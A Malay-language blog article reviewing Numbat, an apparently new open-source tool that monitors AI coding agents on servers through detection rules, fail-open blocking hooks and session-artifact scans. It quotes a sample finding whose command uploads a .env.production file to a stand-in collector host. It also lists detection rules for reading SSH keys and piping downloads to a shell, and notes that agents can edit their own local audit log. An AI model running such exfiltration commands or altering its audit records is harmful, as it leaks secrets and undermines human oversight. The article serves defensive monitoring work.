Cara pantau tindakan ejen AI menggunakan Numbat
Numbat merupakan alat pemantau sumber terbuka daripada Perplexity untuk menjejak aktiviti ejen AI pada pelayan anda. Ketahui cara ia mengesan akses fail dan arahan shell.
Apakah itu Numbat
Numbat memberikan anda keterlihatan terhadap tindakan yang dilakukan oleh ejen AI pada mesin milik anda. Ia membaca callback hook dan fail sesi yang sudah dihasilkan oleh ejen pengekodan, menormalkannya kepada satu format acara, dan memadankannya dengan peraturan yang dicetuskan oleh tingkah laku seperti membaca kunci peribadi SSH atau menyalurkan muat turun terus ke dalam shell. Perplexity mengeluarkan perisian ini sebagai sumber terbuka di bawah lesen Apache 2.0, dengan keluaran bertanda pertama pada 29 Julai 2026.
Segala maklumat di bawah diperoleh daripada repositori projek dan dokumentasinya sendiri, yang dibaca pada 2 Ogos 2026. Di mana Perplexity membuat tuntutan, catatan ini akan menyatakannya. Ini bukan tutorial pemasangan, kerana repositori tersebut baru berusia beberapa hari dan arahannya akan berubah.
Masalah: tiada rekod tindakan ejen
Ejen pengekodan pada VPS anda menjalankan perintah shell, membaca fail, menulis fail dan membuka sambungan rangkaian, semuanya sebagai pengguna yang anda tetapkan. Sejarah shell anda tidak merekodkan perkara tersebut kerana ejen tidak menaip ke dalam shell anda. sshd hanya merekodkan log daftar masuk anda dan bukan apa yang diputuskan oleh model selepas itu. /var/log/auth.log kekal senyap kecuali jika sesuatu cuba mencapai sudo. Ejen menyimpan transkripnya sendiri, namun fail tersebut berada dalam direktori sesi ejen, formatnya berubah mengikut keluaran (releases), dan proses ejen itu sendiri boleh menulis ke dalamnya.
Oleh itu, apabila seseorang bertanya sama ada ejen membaca .env.production pada hari Selasa lepas, jawapan jujur bagi kebanyakan pelayan ialah anda tidak dapat memastikannya. Jurang itulah sebab projek ini wujud.
Apa yang Perplexity dakwa dilakukan oleh Numbat
README tersebut bermula dengan menghuraikan alat ini sebagai "keterlihatan titik akhir (endpoint) ke dalam aktiviti ejen AI, dengan pengesanan setempat, penyekatan pra-tindakan pilihan, dan pembinaan semula forensik". Titik akhir di sini bermaksud mesin tempat ejen itu berjalan, bukan perkakas rangkaian yang memantau dari luar. Itu adalah keupayaan yang berasingan, dan ia membawa kepentingan yang berbeza.
Pengesanan berjalan pada peranti. Peraturan ditulis dalam CEL (common expression language) dan dinilai secara setempat, dengan peraturan jujukan berbilang langkah di atasnya serta sokongan untuk peraturan anda sendiri dalam YAML. Tiada apa-apa yang perlu keluar dari mesin untuk sesuatu peraturan dicetuskan.
Penyekatan adalah pilihan dan terhad. Ia hanya berfungsi melalui cangkuk (hook) pra-tindakan segerak, pada ejen yang mendedahkannya, dan ia dimatikan sehingga anda menghidupkannya.
Pembinaan semula berlaku selepas kejadian. numbat scan menghuraikan artifak sesi yang telah pun ditulis oleh ejen ke cakera, supaya anda boleh melihat aktiviti dari sebelum anda memasang apa-apa. Projek ini berhati-hati untuk mengehadkan dakwaan tersebut: "Pembinaan semula data yang tersimpan (at-rest) bukanlah pemerolehan cakera atau memori dan tidak boleh memulihkan aktiviti yang tidak dikekalkan oleh ejen."
Outputnya ialah NDJSON (newline delimited JSON) berversi yang merangkumi peristiwa, penemuan, keputusan penguatkuasaan, penunjuk dan ringkasan imbasan, pada versi skema 0.2.0 setakat v0.1.2. Rekod dihantar ke stdout atau fail setempat, dan secara pilihan melalui HTTP ke pengumpul (collector) yang anda jalankan. Ia dihantar sebagai satu binari Go statik yang dibina tanpa cgo, untuk macOS, Linux dan Windows pada amd64 dan arm64, jadi pada VPS Linux ia hanyalah satu fail tunggal tanpa persekitaran masa jalan (runtime) yang perlu dipasang terlebih dahulu.
Ejen manakah yang sebenarnya boleh dilihat oleh Numbat?
Matriks liputan dalam docs/agent-coverage.md merupakan senarai muktamad, dan ia tidak sekata. Projek ini menyatakan perkara tersebut secara jelas dan tidak menyembunyikannya. Claude Code, Codex, Gemini CLI, Cursor dan GitHub Copilot CLI mempunyai kedua-dua pengimbasan artifak serta tangkapan langsung dengan pre-action hook. OpenClaw menerima pemalam natif bermula dari versi 2026.7.1 dan seterusnya. Senarai panjang entri ditandakan sebagai ditangguhkan, yang bermaksud laluan live hook wujud tetapi penghurai artifak tidak, selalunya kerana ejen tersebut menyimpan sejarahnya dalam SQLite dengan write-ahead log yang tidak selamat untuk dibaca semasa ejen sedang berjalan. OpenCode dan Cline berada dalam kumpulan tersebut semasa matriks dibaca pada 2 Ogos 2026.
Semak baris untuk ejen anda sebelum anda merancang sebarang perkara berkaitan alat ini, kerana "disokong" membawa maksud yang berbeza pada hampir setiap baris.
Rupa bentuk pengesanan
Peraturan membawa ID yang menyatakan tujuannya. secrets.read_private_key meliputi kunci SSH, kelayakan AWS, konfigurasi kube atau log masuk daftar pakej. exec.download_pipe_shell dicetuskan apabila output curl atau wget disalurkan (piped) ke dalam penterjemah. privilege.elevated_shell mengesan permintaan untuk shell root interaktif melalui sudo, doas, su atau pkexec. impact.cryptomining_launch memadankan binari pelombong dan nama imej yang diketahui.
Peraturan jujukan menggabungkan peristiwa dalam satu sesi. chain.secret_read_then_egress memerlukan fail rahsia dibaca diikuti dengan arahan yang membawa data keluar. README menerbitkan penemuan di bawah daripada main semula terkawal dua panggil balik pra-tindakan Claude Code, bukan daripada insiden sebenar. Ia dipotong di sini kepada medan yang penting:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Perhatikan "confidence": "medium" yang berada di dalam rekod, dan perhatikan apa yang dinyatakan oleh projek mengenai keseluruhan kelas output tersebut: "Penemuan adalah padanan peraturan, bukan bukti pengkompromian." Skrip deploy yang membaca kunci dan kemudian memuat naik artifak binaan akan memadankan peraturan jujukan yang sama. Padanan tersebut adalah tepat tetapi penggera adalah salah, yang merupakan keadaan biasa bagi setiap alat pengesanan yang pernah anda jalankan.
Penyekatan dinyahaktifkan secara lalai, dan ia gagal dalam keadaan terbuka (fail-open)
Setiap peraturan yang disertakan oleh Numbat hanya bertujuan untuk pemantauan. Menukarkan peraturan kepada mod sekat memerlukan tindakan sengaja: salin YAML lengkap peraturan tersebut ke direktori anda sendiri, kekalkan id yang sama, tambahkan enforce: true, naikkan versi, kemudian sahkan dan pasang polisi tersebut.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceSekarang, bahagian yang menentukan tahap kepercayaan anda terhadapnya. Tindakan deny oleh Numbat merupakan respons yang diserahkan kembali kepada ejen, dan ejen itulah yang sebenarnya menolak panggilan alat tersebut. Panduan penguatkuasaan menyatakan dengan jelas tentang apa yang berlaku apabila Numbat sendiri menghadapi masalah: "Payload yang rosak, ralat penilaian yang berkaitan, panik, dan kegagalan output akan menyekat tindakan deny numbat." Input cangkuk (hook) dihadkan pada 4 MiB, dan input yang melebihi saiz tersebut akan melalui laluan yang sama.
Panduan tersebut juga menyatakan dengan jelas tentang had tindakan deny yang berjaya dilaksanakan: "Fail-open bermaksud numbat menahan respons deny-nya. Ia tidak menjamin bahawa alat tersebut akan dilaksanakan: hos mungkin masih meminta pengesahan, menolak, tamat masa, atau menggunakan cangkuk atau polisi lain."
Oleh itu, penguatkuasaan di sini merupakan penghadang keselamatan, bukan sempadan mutlak. Jika proses terhenti (crash), tindakan tersebut tidak disekat oleh Numbat, kerana pemantau yang membekukan ejen anda setiap kali ia menghadapi masalah akan dinyahpasang dalam masa seminggu. Pertukaran ini adalah munasabah. Jangan bina model keselamatan yang mengandaikan respons deny akan sentiasa sampai.
Kedudukan Numbat berbanding tugasan sedia ada anda
Numbat berjalan pada titik akhir, di dalam pepohon proses ejen itu sendiri, dan menulis ke ~/.numbat/records.ndjson secara lalai. Ejen yang berjalan sebagai pengguna anda boleh membaca fail tersebut. Ia juga boleh menyuntingnya. Nilai jejak audit adalah setara dengan pengasingan di sekelilingnya, yang meletakkan setiap kawalan yang anda miliki di hadapan kawalan ini dan bukannya di belakangnya.
Memberikan ejen pengekodan VM pakai buang mengehadkan capaian sekiranya berlaku pelaksanaan yang tidak diingini. Pengguna dengan keistimewaan minimum pada VPS menghalang ejen daripada membuka fail yang tidak sepatutnya. Menyimpan kelayakan di luar konteks ejen adalah perkara yang menjadikan padanan secrets.read_private_key cukup jarang untuk diberi perhatian apabila ia dicetuskan. Dan sandbox yang anda sediakan untuk Claude Code pada VPS masih merupakan mekanisme yang melakukan pengurungan.
Apa yang ditambah oleh Numbat ialah rekod, jadi hantarkan rekod tersebut ke tempat yang tidak boleh dicapai oleh ejen. numbat ship dan sinki HTTP wujud untuk tujuan itu. Salinan aliran pada mesin kedua adalah perbezaan antara fail log dan bukti. Model acara juga membawa medan MCP (model context protocol), jadi panggilan alat yang keluar melalui pelayan MCP yang anda hoskan pada VPS akan mendarat dalam aliran yang sama seperti arahan shell tempatan, yang penting kerana laluan tersebut tidak kelihatan oleh mana-mana proses yang hanya memantau bash.
Cuba mod baca sahaja dahulu
Pasang versi yang disemat (pinned version). Go 1.26.5 atau lebih baharu diperlukan untuk go install, dan halaman releases menyediakan binari pra-bina dengan checksum SHA-256 jika anda tidak mahu membina daripada sumber.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents mengesan ejen yang dipasang pada mesin tersebut. numbat scan menghurai artifak sesi yang sudah ada pada cakera dan mencetak rekod. README menyatakan bahawa arahan ini "tidak memasang hook atau mengubah konfigurasi ejen", dan numbat "tidak sekali-kali melaksanakan ejen atau arahan yang ditemui dalam artifak, dan ia hanya membuat permintaan keluar ke HTTP sinks yang dikonfigurasikan". Pengimbasan adalah dalam mod baca sahaja dengan penyuntingan rahsia (secret redaction), dan output rekod biasa tidak pernah menyertakan transkrip mentah yang lengkap.
Tangkapan langsung (live capture) adalah langkah seterusnya, dan ia mengubah konfigurasi ejen:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all menulis peristiwa, penemuan, indikator dan keputusan penguatkuasaan yang berkenaan ke ~/.numbat/records.ndjson. Dua peringatan datang terus daripada projek tersebut. Hook mungkin perlu dipercayai di dalam ejen sebelum ia boleh dijalankan, dan kepercayaan itu perlu disemak semula selepas anda menukar flag seperti --enforce. Dan hook status "mengesahkan konfigurasi, bukan pelaksanaan atau penghantaran", jadi baris status yang sihat bukanlah bukti bahawa rekod sampai ke mana-mana destinasi.
Mengapa repositori yang baharu ini bukan satu dependensi
Keluaran awam adalah v0.1.1 pada 29 Julai 2026 dan v0.1.2 pada 1 Ogos 2026. Repositori ini mempunyai 597 bintang semasa catatan ini ditulis pada 2 Ogos 2026. Angka yang meningkat secepat itu mencerminkan khalayak Perplexity, bukan ketahanan kod tersebut. Bintang bermaksud seseorang menyimpan halaman tersebut untuk dilihat kemudian.
Nombor versi ini jujur tentang kedudukan semasa perisian tersebut. Nota v0.1.2 kebanyakannya adalah pembaikan penyuntingan kelayakan (credential redaction), serta kerja normalisasi telemetry dan bundle kes. Pepijat penyuntingan adalah bentuk kecacatan awal yang dijangkakan dalam alat yang tugasnya membaca transkrip program lain dengan selamat, dan akan ada lebih banyak lagi, kerana input datang daripada sedozen ejen yang masing-masing menukar format mereka mengikut jadual sendiri.
Dua peraturan praktikal perlu diikuti. Pin tag tersebut, jangan sekali-kali @latest, dalam apa jua yang anda simpan. Dan anggap ia sebagai instrumen yang sedang anda nilai dan bukannya kawalan yang anda harapkan, sekurang-kurangnya sehingga skema rekod berhenti berubah.
FAQ
Adakah Numbat menyekat arahan ejen AI yang berbahaya?
Hanya jika anda memilih untuk mengaktifkannya, dan hanya berdasarkan usaha terbaik. Setiap peraturan yang disertakan oleh Numbat adalah untuk tujuan pemantauan sahaja. Untuk menyekat, anda perlu menyalin YAML peraturan tersebut ke dalam direktori anda sendiri, mengekalkan id-nya, menambah enforce: true, menaikkan versi, dan memasang hook dengan --enforce. Walaupun begitu, penolakan tersebut hanyalah respons yang dihantar kembali kepada ejen, dan ejen itu sendiri yang akan menolak panggilan tersebut. Projek ini mendokumentasikan tingkah laku fail-open: payload yang rosak, ralat penilaian, panik, dan kegagalan output semuanya akan membatalkan sekatan. Gunakannya sebagai langkah perlindungan tambahan, bukan sebagai satu-satunya sempadan keselamatan anda.
Ejen AI manakah yang disokong oleh Numbat?
Liputan berbeza mengikut ejen dan disenaraikan dalam docs/agent-coverage.md di dalam repositori. Claude Code, Codex, Gemini CLI, Cursor, dan GitHub Copilot CLI mempunyai kedua-dua pengimbasan artifak dan tangkapan langsung semasa halaman tersebut dibaca pada 2 Ogos 2026, dan OpenClaw mempunyai pemalam asli bermula dari versi 2026.7.1. Banyak ejen lain disenaraikan dengan laluan hook langsung tetapi belum mempunyai pengurai artifak, biasanya kerana sejarah sesi mereka disimpan dalam pangkalan data SQLite yang tidak selamat untuk dibaca semasa ejen sedang berjalan. Baca baris untuk ejen anda, kerana perkataan "disokong" merangkumi beberapa tahap yang berbeza di sana.
Bolehkah ejen mengusik rekod Numbat?
Ya, jika ia berjalan sebagai pengguna yang sama. Rekod secara lalai disimpan di ~/.numbat/records.ndjson pada mesin yang sama dengan ejen, jadi apa-apa sahaja yang mempunyai akses tulis ke laluan tersebut boleh mengubah atau memadamnya. Hantar aliran data ke pengumpul yang tidak boleh dicapai oleh ejen, dengan numbat ship atau HTTP sink, dan simpan fail tempatan sebagai salinan kemudahan. Inilah sebabnya alat ini melengkapi pengasingan dan bukannya menggantikannya. Ejen yang dikurung dalam VM sementara di bawah pengguna dengan keistimewaan minimum mempunyai capaian yang jauh lebih terhad terhadap jejak auditnya sendiri.
Adakah Numbat sedia untuk pelayan pengeluaran?
Belum lagi sebagai kawalan yang anda harapkan sepenuhnya. Keluaran awam pertama ialah v0.1.1 pada 29 Julai 2026 dan v0.1.2 menyusul pada 1 Ogos 2026, jadi flag dan skema rekod masih lagi berubah-ubah. Menjalankan numbat agents dan numbat scan pada sebuah mesin adalah bersifat baca sahaja dan berisiko rendah, dan ia akan memberitahu anda apa yang telah ditinggalkan oleh ejen anda pada cakera. Memasang hook penguatkuasaan pada pelayan yang penting adalah keputusan yang berbeza, dan ia memerlukan tag yang ditetapkan (pinned tag) serta pelan tindakan sekiranya hook tersebut tidak berfungsi dengan betul.